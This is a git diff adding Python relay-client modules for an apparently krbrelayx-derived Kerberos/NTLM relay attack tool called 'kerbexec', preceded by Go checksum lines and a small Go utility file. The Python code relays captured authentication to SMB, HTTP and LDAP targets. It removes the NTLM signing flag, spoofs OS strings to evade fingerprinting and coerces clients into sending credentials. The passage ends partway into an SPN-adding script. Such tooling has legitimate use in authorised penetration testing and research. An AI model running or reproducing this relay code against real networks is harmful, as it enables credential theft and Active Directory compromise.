v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg= +honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= +honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= +rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= +rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0= +rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA= diff --git a/internal/utils.go b/internal/utils.go new file mode 100644 index 0000000..f7ce20e --- /dev/null +++ b/internal/utils.go @@ -0,0 +1,19 @@ +package internal + +func Map[T, U any](collection []T, fn func(T) U) []U { + var out []U + for i := range collection { + out = append(out, fn(collection[i])) + } + return out +} + +func Filter[T any](collection []T, fn func(T) bool) []T { + var out []T + for i := range collection { + if fn(collection[i]) { + out = append(out, collection[i]) + } + } + return out +} diff --git a/kerbexec/__init__.py b/kerbexec/__init__.py new file mode 100644 index 0000000..2ae2839 --- /dev/null +++ b/kerbexec/__init__.py @@ -0,0 +1 @@ +pass diff --git a/kerbexec/clients/__init__.py b/kerbexec/clients/__init__.py new file mode 100644 index 0000000..c80ee73 --- /dev/null +++ b/kerbexec/clients/__init__.py @@ -0,0 +1,101 @@ +# Copyright (c) 2013-2017 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Protocol Client Base Class definition +# +# Author: +# Alberto Solino (@agsolino) +# +# Description: +# Defines a base class for all clients + loads all available modules +# +# ToDo: +# +import os, sys, pkg_resources +from impacket import LOG + +PROTOCOL_CLIENTS = {} + +# Base class for Protocol Clients for different protocols (SMB, MSSQL, etc) +# Besides using this base class you need to define one global variable when +# writing a plugin for protocol clients: +# PROTOCOL_CLIENT_CLASS = "" +# PLUGIN_NAME must be the protocol name that will be matched later with the relay targets (e.g. SMB, LDAP, etc) +class ProtocolClient: + PLUGIN_NAME = 'PROTOCOL' + def __init__(self, serverConfig, target, targetPort, extendedSecurity=True): + self.serverConfig = serverConfig + self.targetHost = target.hostname + # A default target port is specified by the subclass + if target.port is not None: + # We override it by the one specified in the target + self.targetPort = target.port + else: + self.targetPort = targetPort + self.target = target + self.extendedSecurity = extendedSecurity + self.session = None + self.sessionData = {} + + def initConnection(self): + raise RuntimeError('Virtual Function') + + def killConnection(self): + raise RuntimeError('Virtual Function') + + def sendNegotiate(self, negotiateMessage): + # Charged of sending the type 1 NTLM Message + raise RuntimeError('Virtual Function') + + def sendAuth(self, authenticateMessageBlob, serverChallenge=None): + # Charged of sending the type 3 NTLM Message to the Target + raise RuntimeError('Virtual Function') + + def sendStandardSecurityAuth(self, sessionSetupData): + # Handle the situation When FLAGS2_EXTENDED_SECURITY is not set + raise RuntimeError('Virtual Function') + + def getSession(self): + # Should return the active session for the relayed connection + raise RuntimeError('Virtual Function') + + def getSessionData(self): + # Should return any extra data that could be useful for the SOCKS proxy to work (e.g. some of the + # answers from the original server) + return self.sessionData + + def getStandardSecurityChallenge(self): + # Should return the Challenge returned by the server when Extended Security is not set + # This should only happen with against old Servers. By default we return None + return None + + def keepAlive(self): + # Charged of keeping connection alive + raise RuntimeError('Virtual Function') + +for file in pkg_resources.resource_listdir('lib', 'clients'): + if file.find('__') >=0 or os.path.splitext(file)[1] == '.pyc': + continue + __import__(__package__ + '.' + os.path.splitext(file)[0]) + module = sys.modules[__package__ + '.' + os.path.splitext(file)[0]] + try: + pluginClasses = set() + try: + if hasattr(module,'PROTOCOL_CLIENT_CLASSES'): + for pluginClass in module.PROTOCOL_CLIENT_CLASSES: + pluginClasses.add(getattr(module, pluginClass)) + else: + pluginClasses.add(getattr(module, getattr(module, 'PROTOCOL_CLIENT_CLASS'))) + except Exception as e: + LOG.debug(e) + pass + + for pluginClass in pluginClasses: + LOG.info('Protocol Client %s loaded..' % pluginClass.PLUGIN_NAME) + PROTOCOL_CLIENTS[pluginClass.PLUGIN_NAME] = pluginClass + except Exception as e: + LOG.debug(str(e)) + diff --git a/kerbexec/clients/httprelayclient.py b/kerbexec/clients/httprelayclient.py new file mode 100644 index 0000000..8351ab7 --- /dev/null +++ b/kerbexec/clients/httprelayclient.py @@ -0,0 +1,126 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# HTTP Protocol Client +# HTTP(s) client for relaying NTLMSSP authentication to webservers +# +# Author: +# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) +# Alberto Solino (@agsolino) +# +import re +import ssl +try: + from http.client import HTTPConnection, HTTPSConnection, ResponseNotReady +except ImportError: + from httplib import HTTPConnection, HTTPSConnection, ResponseNotReady +import base64 + +from struct import unpack +from impacket import LOG +from lib.clients import ProtocolClient +from lib.utils.kerberos import build_apreq +from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED +from impacket.ntlm import NTLMAuthChallenge +from impacket.spnego import SPNEGO_NegTokenResp + +PROTOCOL_CLIENT_CLASSES = ["HTTPRelayClient","HTTPSRelayClient"] + +class HTTPRelayClient(ProtocolClient): + PLUGIN_NAME = "HTTP" + + def __init__(self, serverConfig, target, targetPort = 80, extendedSecurity=True ): + ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) + self.extendedSecurity = extendedSecurity + self.negotiateMessage = None + self.authenticateMessageBlob = None + self.server = None + self.authenticationMethod = None + + def initConnection(self, authdata, kdc=None): + self.session = HTTPConnection(self.targetHost,self.targetPort) + self.lastresult = None + if self.target.path == '': + self.path = '/' + else: + self.path = self.target.path + return self.doInitialActions(authdata, kdc) + + def doInitialActions(self, authdata, kdc=None): + self.session.request('GET', self.path) + res = self.session.getresponse() + res.read() + if res.status != 401: + LOG.info('Status code returned: %d. Authentication does not seem required for URL' % res.status) + try: + if 'Kerberos' not in res.getheader('WWW-Authenticate') and 'Negotiate' not in res.getheader('WWW-Authenticate'): + LOG.error('Kerberos Auth not offered by URL, offered protocols: %s' % res.getheader('WWW-Authenticate')) + return False + if 'Kerberos' in res.getheader('WWW-Authenticate'): + self.authenticationMethod = "Kerberos" + elif 'Negotiate' in res.getheader('WWW-Authenticate'): + self.authenticationMethod = "Negotiate" + except (KeyError, TypeError): + LOG.error('No authentication requested by the server for url %s' % self.targetHost) + if self.serverConfig.isADCSAttack: + LOG.info('IIS cert server may allow anonymous authentication, sending NTLM auth anyways') + else: + return False + + # Negotiate auth + if self.serverConfig.mode == 'RELAY': + # Relay mode is pass-through + negotiate = base64.b64encode(authdata['krbauth']).decode("ascii") + else: + # Unconstrained delegation mode has to build TGT manually + krbauth = build_apreq(authdata['domain'], kdc, authdata['tgt'], authdata['username'], 'http', self.targetHost) + negotiate = base64.b64encode(krbauth).decode("ascii") + + headers = {'Authorization':'%s %s' % (self.authenticationMethod, negotiate)} + self.session.request('GET', self.path ,headers=headers) + res = self.session.getresponse() + res.read() + if res.status == 401: + return None, STATUS_ACCESS_DENIED + else: + LOG.info('HTTP server returned status code %d, treating as a successful login' % res.status) + #Cache this + self.lastresult = res.read() + return None, STATUS_SUCCESS + return True + + def killConnection(self): + if self.session is not None: + self.session.close() + self.session = None + + def keepAlive(self): + # Do a HEAD for favicon.ico + self.session.request('HEAD','/favicon.ico') + self.session.getresponse() + +class HTTPSRelayClient(HTTPRelayClient): + PLUGIN_NAME = "HTTPS" + + def __init__(self, serverConfig, target, targetPort = 443, extendedSecurity=True ): + HTTPRelayClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) + + def initConnection(self, authdata, kdc=None): + self.lastresult = None + if self.target.path == '': + self.path = '/' + else: + self.path = self.target.path + try: + uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23) + self.session = HTTPSConnection(self.targetHost,self.targetPort, context=uv_context) + except AttributeError: + self.session = HTTPSConnection(self.targetHost,self.targetPort) + return self.doInitialActions(authdata, kdc) + diff --git a/kerbexec/clients/ldaprelayclient.py b/kerbexec/clients/ldaprelayclient.py new file mode 100644 index 0000000..2f1e6a0 --- /dev/null +++ b/kerbexec/clients/ldaprelayclient.py @@ -0,0 +1,61 @@ +import sys +from struct import unpack +from impacket import LOG +from ldap3 import Server, Connection, ALL, NTLM, MODIFY_ADD, SASL, KERBEROS +from ldap3.operation import bind +try: + from ldap3.core.results import RESULT_SUCCESS, RESULT_STRONGER_AUTH_REQUIRED +except ImportError: + LOG.fatal("krbrelayx requires ldap3 > 2.0. To update, use: pip install ldap3 --upgrade") + sys.exit(1) + +from lib.clients import ProtocolClient +from lib.utils.kerberos import ldap_kerberos, ldap_kerberos_auth +from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED +from impacket.ntlm import NTLMAuthChallenge, NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SIGN +from impacket.spnego import SPNEGO_NegTokenResp + +PROTOCOL_CLIENT_CLASSES = ["LDAPRelayClient", "LDAPSRelayClient"] + +class LDAPRelayClientException(Exception): + pass + +class LDAPRelayClient(ProtocolClient): + PLUGIN_NAME = "LDAP" + MODIFY_ADD = MODIFY_ADD + + def __init__(self, serverConfig, target, targetPort = 389, extendedSecurity=True ): + ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) + self.extendedSecurity = extendedSecurity + self.server = None + + def killConnection(self): + if self.session is not None: + self.session.socket.close() + self.session = None + + def initConnection(self, authdata, kdc=None): + if not kdc: + kdc = authdata['domain'] + self.server = Server("ldap://%s:%s" % (self.targetHost, self.targetPort), get_info=ALL) + self.session = Connection(self.server, user="a", password="b", authentication=SASL, sasl_mechanism=KERBEROS) + if self.serverConfig.mode == 'RELAY': + # Pass-thought auth + ldap_kerberos_auth(self.session, authdata['krbauth']) + else: + # Unconstrained delegation mode + ldap_kerberos(authdata['domain'], kdc, authdata['tgt'], authdata['username'], self.session, self.targetHost) + +class LDAPSRelayClient(LDAPRelayClient): + PLUGIN_NAME = "LDAPS" + MODIFY_ADD = MODIFY_ADD + + def __init__(self, serverConfig, target, targetPort = 636, extendedSecurity=True ): + LDAPRelayClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) + + def initConnection(self, authdata, kdc=None): + if not kdc: + kdc = authdata['domain'] + self.server = Server("ldaps://%s:%s" % (self.targetHost, self.targetPort), get_info=ALL) + self.session = Connection(self.server, user="a", password="b", authentication=SASL, sasl_mechanism=KERBEROS) + ldap_kerberos(authdata['domain'], kdc, authdata['tgt'], authdata['username'], self.session, self.targetHost) diff --git a/kerbexec/clients/smbrelayclient.py b/kerbexec/clients/smbrelayclient.py new file mode 100644 index 0000000..e591754 --- /dev/null +++ b/kerbexec/clients/smbrelayclient.py @@ -0,0 +1,415 @@ +# Copyright (c) 2013-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# SMB Relay Protocol Client +# +# Author: +# Alberto Solino (@agsolino) +# +# Description: +# This is the SMB client which initiates the connection to an +# SMB server and relays the credentials to this server. + +import os + +from struct import unpack +from socket import error as socketerror +from impacket import LOG +from lib.clients import ProtocolClient +from impacket.examples.ntlmrelayx.servers.socksserver import KEEP_ALIVE_TIMER +from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_LOGON_FAILURE +from impacket.ntlm import NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallenge +from impacket.smb import SMB, NewSMBPacket, SMBCommand, SMBSessionSetupAndX_Extended_Parameters, \ + SMBSessionSetupAndX_Extended_Data, SMBSessionSetupAndX_Extended_Response_Data, \ + SMBSessionSetupAndX_Extended_Response_Parameters, SMBSessionSetupAndX_Data, SMBSessionSetupAndX_Parameters +from impacket.smb3 import SMB3, SMB2_GLOBAL_CAP_ENCRYPTION, SMB2_DIALECT_WILDCARD, SMB2Negotiate_Response, \ + SMB2_NEGOTIATE, SMB2Negotiate, SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30, SMB2_GLOBAL_CAP_LEASING, \ + SMB3Packet, SMB2_GLOBAL_CAP_LARGE_MTU, SMB2_GLOBAL_CAP_DIRECTORY_LEASING, SMB2_GLOBAL_CAP_MULTI_CHANNEL, \ + SMB2_GLOBAL_CAP_PERSISTENT_HANDLES, SMB2_NEGOTIATE_SIGNING_REQUIRED, SMB2Packet,SMB2SessionSetup, SMB2_SESSION_SETUP, STATUS_MORE_PROCESSING_REQUIRED, SMB2SessionSetup_Response +from impacket.smbconnection import SMBConnection, SMB_DIALECT, SessionError +from impacket.spnego import SPNEGO_NegTokenInit, SPNEGO_NegTokenResp, TypesMech + +PROTOCOL_CLIENT_CLASS = "SMBRelayClient" + +class MYSMB(SMB): + def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None): + self.extendedSecurity = extendedSecurity + SMB.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negPacket=negPacket) + + def neg_session(self, negPacket=None): + return SMB.neg_session(self, extended_security=self.extendedSecurity, negPacket=negPacket) + +class MYSMB3(SMB3): + def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None): + self.extendedSecurity = extendedSecurity + SMB3.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negSessionResponse=SMB2Packet(negPacket)) + + def negotiateSession(self, preferredDialect = None, negSessionResponse = None): + # We DON'T want to sign + self._Connection['ClientSecurityMode'] = 0 + + if self.RequireMessageSigning is True: + LOG.error('Signing is required, attack won\'t work!') + return + + self._Connection['Capabilities'] = SMB2_GLOBAL_CAP_ENCRYPTION + currentDialect = SMB2_DIALECT_WILDCARD + + # Do we have a negSessionPacket already? + if negSessionResponse is not None: + # Yes, let's store the dialect answered back + negResp = SMB2Negotiate_Response(negSessionResponse['Data']) + currentDialect = negResp['DialectRevision'] + + if currentDialect == SMB2_DIALECT_WILDCARD: + # Still don't know the chosen dialect, let's send our options + + packet = self.SMB_PACKET() + packet['Command'] = SMB2_NEGOTIATE + negSession = SMB2Negotiate() + + negSession['SecurityMode'] = self._Connection['ClientSecurityMode'] + negSession['Capabilities'] = self._Connection['Capabilities'] + negSession['ClientGuid'] = self.ClientGuid + if preferredDialect is not None: + negSession['Dialects'] = [preferredDialect] + else: + negSession['Dialects'] = [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30] + negSession['DialectCount'] = len(negSession['Dialects']) + packet['Data'] = negSession + + packetID = self.sendSMB(packet) + ans = self.recvSMB(packetID) + if ans.isValidAnswer(STATUS_SUCCESS): + negResp = SMB2Negotiate_Response(ans['Data']) + + self._Connection['MaxTransactSize'] = min(0x100000,negResp['MaxTransactSize']) + self._Connection['MaxReadSize'] = min(0x100000,negResp['MaxReadSize']) + self._Connection['MaxWriteSize'] = min(0x100000,negResp['MaxWriteSize']) + self._Connection['ServerGuid'] = negResp['ServerGuid'] + self._Connection['GSSNegotiateToken'] = negResp['Buffer'] + self._Connection['Dialect'] = negResp['DialectRevision'] + if (negResp['SecurityMode'] & SMB2_NEGOTIATE_SIGNING_REQUIRED) == SMB2_NEGOTIATE_SIGNING_REQUIRED: + LOG.error('Signing is required, attack won\'t work!') + return + if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LEASING) == SMB2_GLOBAL_CAP_LEASING: + self._Connection['SupportsFileLeasing'] = True + if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LARGE_MTU) == SMB2_GLOBAL_CAP_LARGE_MTU: + self._Connection['SupportsMultiCredit'] = True + + if self._Connection['Dialect'] == SMB2_DIALECT_30: + # Switching to the right packet format + self.SMB_PACKET = SMB3Packet + if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_DIRECTORY_LEASING) == SMB2_GLOBAL_CAP_DIRECTORY_LEASING: + self._Connection['SupportsDirectoryLeasing'] = True + if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_MULTI_CHANNEL) == SMB2_GLOBAL_CAP_MULTI_CHANNEL: + self._Connection['SupportsMultiChannel'] = True + if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_PERSISTENT_HANDLES) == SMB2_GLOBAL_CAP_PERSISTENT_HANDLES: + self._Connection['SupportsPersistentHandles'] = True + if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_ENCRYPTION) == SMB2_GLOBAL_CAP_ENCRYPTION: + self._Connection['SupportsEncryption'] = True + + self._Connection['ServerCapabilities'] = negResp['Capabilities'] + self._Connection['ServerSecurityMode'] = negResp['SecurityMode'] + +class SMBRelayClient(ProtocolClient): + PLUGIN_NAME = "SMB" + def __init__(self, serverConfig, target, targetPort = 445, extendedSecurity=True ): + ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) + self.extendedSecurity = extendedSecurity + + self.domainIp = None + self.machineAccount = None + self.machineHashes = None + self.sessionData = {} + + self.keepAliveHits = 1 + + def keepAlive(self): + # SMB Keep Alive more or less every 5 minutes + if self.keepAliveHits >= (250 / KEEP_ALIVE_TIMER): + # Time to send a packet + # Just a tree connect / disconnect to avoid the session timeout + tid = self.session.connectTree('IPC$') + self.session.disconnectTree(tid) + self.keepAliveHits = 1 + else: + self.keepAliveHits +=1 + + def killConnection(self): + if self.session is not None: + self.session.close() + self.session = None + + def initConnection(self): + self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, manualNegotiate=True) + #,preferredDialect=SMB_DIALECT) + if self.serverConfig.smb2support is True: + data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00' + else: + data = '\x02NT LM 0.12\x00' + + if self.extendedSecurity is True: + flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES + else: + flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES + try: + packet = self.session.negotiateSessionWildcard(None, self.targetHost, self.targetHost, self.targetPort, 60, self.extendedSecurity, + flags1=SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS, + flags2=flags2, data=data) + except socketerror as e: + if 'reset by peer' in str(e): + if not self.serverConfig.smb2support: + LOG.error('SMBCLient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support') + else: + LOG.error('SMBCLient error: Connection was reset') + else: + LOG.error('SMBCLient error: %s' % str(e)) + return False + if packet[0] == '\xfe': + smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet) + else: + # Answer is SMB packet, sticking to SMBv1 + smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet) + + self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, + existingConnection=smbClient, manualNegotiate=True) + + return True + + def setUid(self,uid): + self._uid = uid + + def sendNegotiate(self, negotiateMessage): + negotiate = NTLMAuthNegotiate() + negotiate.fromString(negotiateMessage) + #Remove the signing flag + negotiate['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN + + challenge = NTLMAuthChallenge() + if self.session.getDialect() == SMB_DIALECT: + challenge.fromString(self.sendNegotiatev1(negotiateMessage)) + else: + challenge.fromString(self.sendNegotiatev2(negotiateMessage)) + + # Store the Challenge in our session data dict. It will be used by the SMB Proxy + self.sessionData['CHALLENGE_MESSAGE'] = challenge + + return challenge + + def sendNegotiatev2(self, negotiateMessage): + v2client = self.session.getSMBServer() + + sessionSetup = SMB2SessionSetup() + sessionSetup['Flags'] = 0 + + # Let's build a NegTokenInit with the NTLMSSP + blob = SPNEGO_NegTokenInit() + + # NTLMSSP + blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']] + blob['MechToken'] = str(negotiateMessage) + + sessionSetup['SecurityBufferLength'] = len(blob) + sessionSetup['Buffer'] = blob.getData() + + packet = v2client.SMB_PACKET() + packet['Command'] = SMB2_SESSION_SETUP + packet['Data'] = sessionSetup + + packetID = v2client.sendSMB(packet) + ans = v2client.recvSMB(packetID) + if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED): + v2client._Session['SessionID'] = ans['SessionID'] + sessionSetupResponse = SMB2SessionSetup_Response(ans['Data']) + respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer']) + return respToken['ResponseToken'] + + return False + + def sendNegotiatev1(self, negotiateMessage): + v1client = self.session.getSMBServer() + + smb = NewSMBPacket() + smb['Flags1'] = SMB.FLAGS1_PATHCASELESS + smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY + # Are we required to sign SMB? If so we do it, if not we skip it + if v1client.is_signing_required(): + smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE + + + sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) + sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters() + sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data() + + sessionSetup['Parameters']['MaxBufferSize'] = 65535 + sessionSetup['Parameters']['MaxMpxCount'] = 2 + sessionSetup['Parameters']['VcNumber'] = 1 + sessionSetup['Parameters']['SessionKey'] = 0 + sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE + + # Let's build a NegTokenInit with the NTLMSSP + # TODO: In the future we should be able to choose different providers + + blob = SPNEGO_NegTokenInit() + + # NTLMSSP + blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']] + blob['MechToken'] = str(negotiateMessage) + + sessionSetup['Parameters']['SecurityBlobLength'] = len(blob) + sessionSetup['Parameters'].getData() + sessionSetup['Data']['SecurityBlob'] = blob.getData() + + # Fake Data here, don't want to get us fingerprinted + sessionSetup['Data']['NativeOS'] = 'Unix' + sessionSetup['Data']['NativeLanMan'] = 'Samba' + + smb.addCommand(sessionSetup) + v1client.sendSMB(smb) + smb = v1client.recvSMB() + + try: + smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX) + except Exception: + LOG.error("SessionSetup Error!") + raise + else: + # We will need to use this uid field for all future requests/responses + v1client.set_uid(smb['Uid']) + + # Now we have to extract the blob to continue the auth process + sessionResponse = SMBCommand(smb['Data'][0]) + sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters']) + sessionData = SMBSessionSetupAndX_Extended_Response_Data(flags = smb['Flags2']) + sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength'] + sessionData.fromString(sessionResponse['Data']) + respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob']) + + return respToken['ResponseToken'] + + def sendStandardSecurityAuth(self, sessionSetupData): + v1client = self.session.getSMBServer() + flags2 = v1client.get_flags()[1] + v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_EXTENDED_SECURITY)) + if sessionSetupData['Account'] != '': + smb = NewSMBPacket() + smb['Flags1'] = 8 + + sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) + sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters() + sessionSetup['Data'] = SMBSessionSetupAndX_Data() + + sessionSetup['Parameters']['MaxBuffer'] = 65535 + sessionSetup['Parameters']['MaxMpxCount'] = 2 + sessionSetup['Parameters']['VCNumber'] = os.getpid() + sessionSetup['Parameters']['SessionKey'] = v1client._dialects_parameters['SessionKey'] + sessionSetup['Parameters']['AnsiPwdLength'] = len(sessionSetupData['AnsiPwd']) + sessionSetup['Parameters']['UnicodePwdLength'] = len(sessionSetupData['UnicodePwd']) + sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE + + sessionSetup['Data']['AnsiPwd'] = sessionSetupData['AnsiPwd'] + sessionSetup['Data']['UnicodePwd'] = sessionSetupData['UnicodePwd'] + sessionSetup['Data']['Account'] = str(sessionSetupData['Account']) + sessionSetup['Data']['PrimaryDomain'] = str(sessionSetupData['PrimaryDomain']) + sessionSetup['Data']['NativeOS'] = 'Unix' + sessionSetup['Data']['NativeLanMan'] = 'Samba' + + smb.addCommand(sessionSetup) + + v1client.sendSMB(smb) + smb = v1client.recvSMB() + try: + smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX) + except: + return None, STATUS_LOGON_FAILURE + else: + v1client.set_uid(smb['Uid']) + return smb, STATUS_SUCCESS + else: + # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials + clientResponse = None + errorCode = STATUS_ACCESS_DENIED + + return clientResponse, errorCode + + def sendAuth(self, authenticateMessageBlob, serverChallenge=None): + if unpack('B', str(authenticateMessageBlob)[:1])[0] != SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: + # We need to wrap the NTLMSSP into SPNEGO + respToken2 = SPNEGO_NegTokenResp() + respToken2['ResponseToken'] = str(authenticateMessageBlob) + authData = respToken2.getData() + else: + authData = str(authenticateMessageBlob) + + if self.session.getDialect() == SMB_DIALECT: + token, errorCode = self.sendAuthv1(authData, serverChallenge) + else: + token, errorCode = self.sendAuthv2(authData, serverChallenge) + return token, errorCode + + def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None): + v2client = self.session.getSMBServer() + + sessionSetup = SMB2SessionSetup() + sessionSetup['Flags'] = 0 + + packet = v2client.SMB_PACKET() + packet['Command'] = SMB2_SESSION_SETUP + packet['Data'] = sessionSetup + + # Reusing the previous structure + sessionSetup['SecurityBufferLength'] = len(authenticateMessageBlob) + sessionSetup['Buffer'] = authenticateMessageBlob + + packetID = v2client.sendSMB(packet) + packet = v2client.recvSMB(packetID) + + return packet, packet['Status'] + + def sendAuthv1(self, authenticateMessageBlob, serverChallenge=None): + v1client = self.session.getSMBServer() + + smb = NewSMBPacket() + smb['Flags1'] = SMB.FLAGS1_PATHCASELESS + smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY + # Are we required to sign SMB? If so we do it, if not we skip it + if v1client.is_signing_required(): + smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE + smb['Uid'] = v1client.get_uid() + + sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) + sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters() + sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data() + + sessionSetup['Parameters']['MaxBufferSize'] = 65535 + sessionSetup['Parameters']['MaxMpxCount'] = 2 + sessionSetup['Parameters']['VcNumber'] = 1 + sessionSetup['Parameters']['SessionKey'] = 0 + sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE + + # Fake Data here, don't want to get us fingerprinted + sessionSetup['Data']['NativeOS'] = 'Unix' + sessionSetup['Data']['NativeLanMan'] = 'Samba' + + sessionSetup['Parameters']['SecurityBlobLength'] = len(authenticateMessageBlob) + sessionSetup['Data']['SecurityBlob'] = authenticateMessageBlob + smb.addCommand(sessionSetup) + v1client.sendSMB(smb) + + smb = v1client.recvSMB() + + errorCode = smb['ErrorCode'] << 16 + errorCode += smb['_reserved'] << 8 + errorCode += smb['ErrorClass'] + + return smb, errorCode + + def getStandardSecurityChallenge(self): + if self.session.getDialect() == SMB_DIALECT: + return self.session.getSMBServer().get_encryption_key() + else: + return None diff --git a/kerbexec/exp/addspn.py b/kerbexec/exp/addspn.py new file mode 100644 index 0000000..9a7cdef --- /dev/null +++ b/kerbexec/exp/addspn.py @@ -0,0 +1,211 @@ +#!/usr/bin/env python +#################### +# +# Copyright (c) 2023 Dirk-jan Mollema (@_dirkjan) +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. +# +# +# Add an SPN to a user/computer account via LDAP +# +#################### +import sys +import argparse +import random +import string +import getpass +import os +from impacket.krb5.ccache import CCache +from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS +from impacket.krb5.types import Principal +from impacket.krb5 import constants +from ldap3 import NTLM, Server, Connection, ALL, LEVEL, BASE, MODIFY_DELETE, MODIFY_ADD, MODIFY_REPLACE, SASL, KERBEROS +from lib.utils.kerberos import ldap_kerberos +import ldap3 +from ldap3.protocol.microsoft import security_descriptor_control + +def print_m(string): + sys.stderr.write('\033[94m[-]\033[0m %s\n' % (string)) + +def print_o(string): + 